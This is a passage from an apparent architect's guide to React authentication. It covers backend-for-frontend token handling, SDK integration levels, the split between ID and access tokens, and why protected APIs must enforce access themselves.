<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"248289761001"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Alice"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"email"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"alice@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>React can use this information to render the application, but the raw ID token does not need to leave the backend.</p>
<p>The same applies to access tokens.</p>
<p>When React needs to call a protected API, it calls the BFF. The BFF attaches the access token and makes the downstream request.</p>
<p>This removes token theft from React code as a direct concern because there is no OAuth token in the JavaScript environment to steal.</p>
<p>But it does not make the browser trusted.</p>
<p>If malicious JavaScript runs inside the page, it may still make requests to the BFF while the user's session is active. The session cookie can be sent automatically with those requests even though JavaScript cannot read it.</p>
<p>So the BFF changes the problem rather than eliminating it.</p>
<p>You still need to protect against script injection, and because authentication now relies on cookies, you also need to consider cross-site request forgery protections, cookie attributes such as HttpOnly, Secure and SameSite, and the lifetime of the application session.</p>
<p>There is also an architectural cost.</p>
<p>The BFF is now in the path of every protected request.</p>
<p>That means it becomes part of your application's availability, latency and scaling requirements. You also need somewhere to maintain the session and token state associated with each user.</p>
<p>So I would not think of the BFF as simply the "most secure" of the three patterns.</p>
<p>It is a different boundary.</p>
<p>You are moving authentication state and OAuth credentials out of the browser and accepting more responsibility on the backend.</p>
<p>For applications handling sensitive data, or where you already have a backend that naturally sits between React and the protected APIs, that can be a very useful trade.</p>
<p>At this point, the three patterns can be viewed as one progression:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Pattern 1</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">React handles ID/access/possibly refresh tokens</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    ↓ move long-lived credentials out</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Pattern 2</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Backend handles authentication + refresh token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">React handles short-lived access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    ↓ move all OAuth tokens out</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Pattern 3</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Backend handles all tokens</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">React handles only an application session</span><br></span></code></pre></div></div>
<p>The question is not which pattern is universally correct.</p>
<p>The question is how much credential handling you want inside the browser, and how much backend responsibility you are willing to introduce to move it out.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-react-connects-to-identity">How React connects to identity<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#how-react-connects-to-identity" class="hash-link" aria-label="Direct link to How React connects to identity" title="Direct link to How React connects to identity" translate="no">​</a></h2>
<p>There are several levels at which you can integrate authentication into a React application.</p>
<p>I find it useful to think about these as three layers.</p>
<p>At the lowest level, your application understands most of the underlying protocol.</p>
<p>At the next level, an SDK handles the protocol and gives your React code authentication APIs.</p>
<p>At the highest level, the SDK also gives you ready-made React components.</p>
<p>You may see these referred to as <strong>L1, L2 and L3 SDKs</strong>.</p>
<p>The terminology is less important than the architectural question:</p>
<p><strong>How much authentication-specific behaviour do you want inside your application code?</strong></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="l1-work-close-to-the-protocol">L1: work close to the protocol<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#l1-work-close-to-the-protocol" class="hash-link" aria-label="Direct link to L1: work close to the protocol" title="Direct link to L1: work close to the protocol" translate="no">​</a></h3>
<p>At this level you use a general OAuth or OpenID Connect client library and manage much of the application integration yourself.</p>
<p>You configure the authorization flow, process redirects, handle tokens, deal with expiry and refresh behaviour, and manage sign-out.</p>
<p>The advantage is control.</p>
<p>Your application is normally less coupled to one identity provider because it works directly against standard protocol behaviour.</p>
<p>The cost is that your application team now owns more identity-specific code.</p>
<p>I would use this level when protocol-level control or provider portability is an actual requirement, or when no suitable higher-level SDK exists.</p>
<p>I would not choose it simply because fewer abstractions look cleaner on an architecture diagram.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="l2-use-a-headless-sdk">L2: use a headless SDK<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#l2-use-a-headless-sdk" class="hash-link" aria-label="Direct link to L2: use a headless SDK" title="Direct link to L2: use a headless SDK" translate="no">​</a></h3>
<p>At the next level, the SDK handles the protocol and exposes APIs that fit naturally into React.</p>
<p>For example:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> user</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> signIn</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> signOut </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">useAuth</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The SDK takes responsibility for things such as redirects, token lifecycle and authentication state.</p>
<p>Your application still owns the interface.</p>
<p>You decide how the sign-in button looks, how errors are shown, what loading looks like and how user information fits into the rest of your design system.</p>
<p>This is often a good balance for React applications where authentication should behave like part of the product rather than a separate UI.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="l3-use-higher-level-react-components">L3: use higher-level React components<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#l3-use-higher-level-react-components" class="hash-link" aria-label="Direct link to L3: use higher-level React components" title="Direct link to L3: use higher-level React components" translate="no">​</a></h3>
<p>At the highest level, the SDK provides the React integration as well as ready-made components.</p>
<p>You may get components for sign-in, sign-out, user profiles and other common authentication experiences.</p>
<p>This reduces the amount of application code you need to write.</p>
<p>The trade-off is coupling.</p>
<p>Your JSX now contains components and APIs from a particular SDK. If you later change identity providers, that integration becomes part of the migration.</p>
<p>That may still be the right trade.</p>
<p>If the component gives your team a production-ready sign-in experience quickly and you have no strong requirement for provider portability, avoiding unnecessary authentication code can be more valuable than optimizing for a migration that may never happen.</p>
<p>The three levels look like this.</p>
<table><thead><tr><th>Integration level</th><th>Protocol handling</th><th>UI handling</th><th>Provider coupling</th></tr></thead><tbody><tr><td>L1: protocol-level</td><td>Mostly your application</td><td>Your application</td><td>Lowest</td></tr><tr><td>L2: headless SDK</td><td>SDK</td><td>Your application</td><td>Medium</td></tr><tr><td>L3: component SDK</td><td>SDK</td><td>Mostly SDK</td><td>Highest</td></tr></tbody></table>
<p>There is another part of this decision I would not ignore: who maintains the SDK.</p>
<p>A provider-maintained SDK is normally the most closely aligned with that identity platform and may support new provider capabilities first.</p>
<p>A community-maintained SDK can provide more independence from any one provider, but you should look carefully at maintenance activity, release frequency and the number of people actively supporting it.</p>
<p>A standards-oriented library may offer the least provider coupling, but you normally work closer to OAuth and OIDC concepts.</p>
<p>This is why choosing an SDK is an architectural decision rather than simply a package-selection decision.</p>
<p>Now React knows who the user is.</p>
<p>The next question is what your application should actually do with that information.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="using-identity-inside-the-react-application">Using identity inside the React application<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#using-identity-inside-the-react-application" class="hash-link" aria-label="Direct link to Using identity inside the React application" title="Direct link to Using identity inside the React application" translate="no">​</a></h2>
<p>After authentication, your React application normally has some information about the user.</p>
<p>Depending on your setup, this may come from an ID token, a user-info endpoint, a session API or your own backend.</p>
<p>The information may include things such as a user identifier, name and email, roles, groups, scopes or permissions, and organization or tenant information.</p>
<p>React can use this information to shape the application experience.</p>
<p>As an example, you may only show an administration menu when the user has the appropriate role:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">user</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">roles</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">includes</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"admin"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AdminMenu</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Or you might enable a particular operation based on a permission:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">user</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">permissions</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">includes</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"invoice:approve"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">ApproveInvoiceButton</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>This is where identity becomes useful inside the application rather than simply being something that happened during sign-in.</p>
<p>But there is an important boundary.</p>
<p><strong>A frontend access check is a user-experience decision, not the final security decision.</strong></p>
<p>If React hides a button, that prevents the normal user from clicking the button.</p>
<p>It does not prevent somebody from calling the corresponding API themselves.</p>
<p>The browser is still under the user's control.</p>
<p>So frontend authorization can help you present the correct interface, but every sensitive operation still needs to be checked again by the backend.</p>
<p>This is the point where the two identity concepts we introduced earlier become useful.</p>
<p>Authentication answered: <strong>who is this user?</strong></p>
<p>Authorization now answers: <strong>is this user allowed to perform this operation?</strong></p>
<p>React can participate in authorization by shaping the UI.</p>
<p>The backend must enforce it.</p>
<p>That leads us to the final part of the architecture.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="calling-a-protected-backend">Calling a protected backend<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#calling-a-protected-backend" class="hash-link" aria-label="Direct link to Calling a protected backend" title="Direct link to Calling a protected backend" translate="no">​</a></h2>
<p>Once the user is signed in, your React application normally needs to call one or more protected APIs.</p>
<p>This is where the <strong>OAuth 2.0 access token</strong> comes into play.</p>
<p>As we discussed earlier, the ID token is used to establish the authenticated user. The access token has a different purpose: it is the credential presented to a protected API.</p>
<p>If React handles access tokens directly, the request normally looks like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer &lt;access-token&gt;</span><br></span></code></pre></div></div>
<p>The API should treat that token as a credential, not simply as a piece of JSON containing user information.</p>
<p>Before doing anything with the request, the API needs to validate the access token. Depending on the token type and the identity system, that may involve checking its signature or using token introspection.</p>
<p>At a minimum, the API needs to establish that the token came from an issuer it trusts, has not expired, and was issued for that API.</p>
<p>Once the token is accepted, the API can use the information associated with it to make an access-control decision.</p>
<p>As an example, assume your React application shows an <strong>Approve invoice</strong> button because the authenticated user has the appropriate permission.</p>
<p>The frontend check gives the user the correct experience:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">user</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token property-access">permissions</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">includes</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"invoice:approve"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">ApproveInvoiceButton</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>When the user clicks that button, React sends a request to the protected API using the access token.</p>
<p>The API must still make its own decision about whether that access token allows the operation.</p>
<p>That decision may be based on scopes, roles, permissions or application-specific policy. The exact model can vary, but the architectural rule does not:</p>
<p><strong>React can use identity information to decide what to show. The protected API must use the access token to decide what the caller is allowed to do.</strong></p>
<p>This is also why you should not rely on the ID token when calling an API.</p>
<p>The ID token was issued to the client application so it can establish the user's authenticated identity. The access token was issued for access to a protected resource.</p>
<p>Even if both happen to be JWTs and contain similar-looking claims, they have different purposes and different intended audiences.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-changes-with-the-three-token-handling-patterns">What changes with the three token-handling patterns?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#what-changes-with-the-three-token-handling-patterns" class="hash-link" aria-label="Direct link to What changes with the three token-handling patterns?" title="Direct link to What changes with the three token-handling patterns?" translate="no">​</a></h3>
<p>The access token still exists in all three architectures. What changes is who handles it.</p>
<p>If React handles the tokens directly:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>React obtains the access token and sends it with the API request.</p>
<p>If your backend handles part of the token flow:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Backend</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Short-lived access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>The backend keeps the refresh token and gives React only the short-lived access token it needs for API calls.</p>
<p>With a BFF:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Application session</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>React never receives the access token. It calls the BFF using its application session, and the BFF presents the access token to the protected API.</p>
<p>This is an important point because the BFF does not remove OAuth access tokens from the architecture. It moves them away from the browser.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-api-is-the-final-enforcement-point">The API is the final enforcement point<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#the-api-is-the-final-enforcement-point" class="hash-link" aria-label="Direct link to The API is the final enforcement point" title="Direct link to The API is the final enforcement point" translate="no">​</a></h3>
<p>Regardless of which of these patterns you choose, the protected API must enforce access independently from React.</p>
<p>A route guard such as this:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">Route</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">path</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">/admin</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">  </span><span class="token tag attr-name" style="color:#1F4FFF">element</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:#5A6072">=</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">{</span><span class="token tag script language-javascript" style="color:#1F4FFF">user</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">.</span><span class="token tag script language-javascript property-access" style="color:#1F4FFF">isAdmin</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript operator" style="color:#1F4FFF">?</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:#0B1633;font-weight:600">Admin</span><span class="token tag script language-javascript tag" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">/&gt;</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript operator" style="color:#1F4FFF">:</span><span class="token tag script language-javascript" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:#0B1633;font-weight:600">Navigate</span><span class="token tag script language-javascript tag" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag attr-name" style="color:#1F4FFF">to</span><span class="token tag script language-javascript tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag script language-javascript tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag script language-javascript tag attr-value" style="color:#15803D">/</span><span class="token tag script language-javascript tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag script language-javascript tag" style="color:#1F4FFF"> </span><span class="token tag script language-javascript tag punctuation" style="color:#5A6072">/&gt;</span><span class="token tag script language-javascript punctuation" style="color:#5A6072">}</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF"></span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><br></span></code></pre></div></div>
<p>is useful for controlling what the user sees.</p>
<p>It is not an access-control boundary.</p>
<p>Someone can bypass the React application and call the API directly.</p>
<p>So the API must validate the access token and make the same access decision before performing the protected operation.</p>
<p>This gives us a clean separation of responsibilities:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">ID token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Establish who signed in</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Client application / BFF</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Access token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Request access to a protected resource</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Protected API</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    | Validate token + enforce access</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Resource</span><br></span></code></pre></div></div>
<p>The distinction between these two tokens is one of the most useful things to keep clear in the overall architecture.</p>
<p>The <strong>ID token establishes the authenticated identity for the client</strong>.</p>
<p>The <strong>access token carries the authority needed to call the protected API</strong>.</p>
<p>Once those two responsibilities are separated, it becomes much easier to reason about what React should know, what the backend should know, and where the final access decision belongs.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="putting-the-architecture-together">Putting the architecture together<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#putting-the-architecture-together" class="hash-link" aria-label="Direct link to Putting the architecture together" title="Direct link to Putting the architecture together" translate="no">​</a></h2>
<p>At this stage, the pieces connect.</p>
<p>You started with a React application that needed sign-in.</p>
<p>First, you established that identity is larger than a login screen and that the trusted part of it cannot live inside the browser.</p>
<p>Then you decided where identity should run: inside your own implementation, through an application authentication library, as a separate self-hosted identity server, or as a managed identity service.</p>
<p>Once the user authenticated, you decided who should handle the tokens: React, React plus your backend, or your backend completely, using the BFF pattern.</p>
<p>Then you decided how much of the identity integration should appear inside your React code: L1 protocol-level integration, L2 headless SDK, or L3 higher-level React components.</p>
<p>Finally, React used the authenticated identity to shape the application experience, while the backend remained responsible for enforcing the real access-control decision.</p>
<p>That gives you the complete architecture:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">                +----------------------+</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                |    Identity System   |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                +----------+-----------+</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                     Authentication</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">+--------+          +---------+----------+</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">|  User  | -------&gt; | React Application  |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">+--------+          +---------+----------+</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                     Session / Token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                +---------+---------+</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                | Protected Backend |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                +---------+---------+</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                     Authorization</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                           v</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">                       Resources</span><br></span></code></pre></div></div>
<p>There are several products, SDKs and protocol options behind each box, but I would not start by choosing those.</p>
<p>Start by deciding the boundaries.</p>
<p>Who owns identity? Who handles the token? How much identity logic belongs in React? And where is access actually enforced?</p>
<p>Once those decisions are clear, evaluating a particular identity platform or React SDK becomes much easier because you are evaluating it against an architecture rather than allowing the product to define the architecture for you.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="choosing-the-identity-platform-after-the-architecture">Choosing the identity platform after the architecture<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#choosing-the-identity-platform-after-the-architecture" class="hash-link" aria-label="Direct link to Choosing the identity platform after the architecture" title="Direct link to Choosing the identity platform after the architecture" translate="no">​</a></h2>
<p>Only now does provider selection become a useful question.</p>
<p>You are no longer asking which identity platform is "best for React."</p>
<p>You can ask whether it supports the architecture you already decided.</p>
<p>A few things become particularly useful to check.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="does-it-support-standard-protocols">Does it support standard protocols?<a href="https://choreolabs.com/identity-and-access-management/learn/architects-guide-react-authentication#does-it-support-standard-protocols" class="hash-link" aria-label="Direct link to Does it support standard protocols?" title="Direct link to Does it support standard protocols?" translate="no">​</a></h3>
<p>OAuth 2.0 and OpenID Connect matter because they create a standard boundary between your application and the identity system.</p>
<p>A standards-based architecture does not make provider migration free, but it reduces how much of the integration needs to be proprietary.</p>
<p>Where certification is important to your requirements, you can also verify whether the provider has relevant OpenID certifications rather than relying only on compatibility claims.</p>
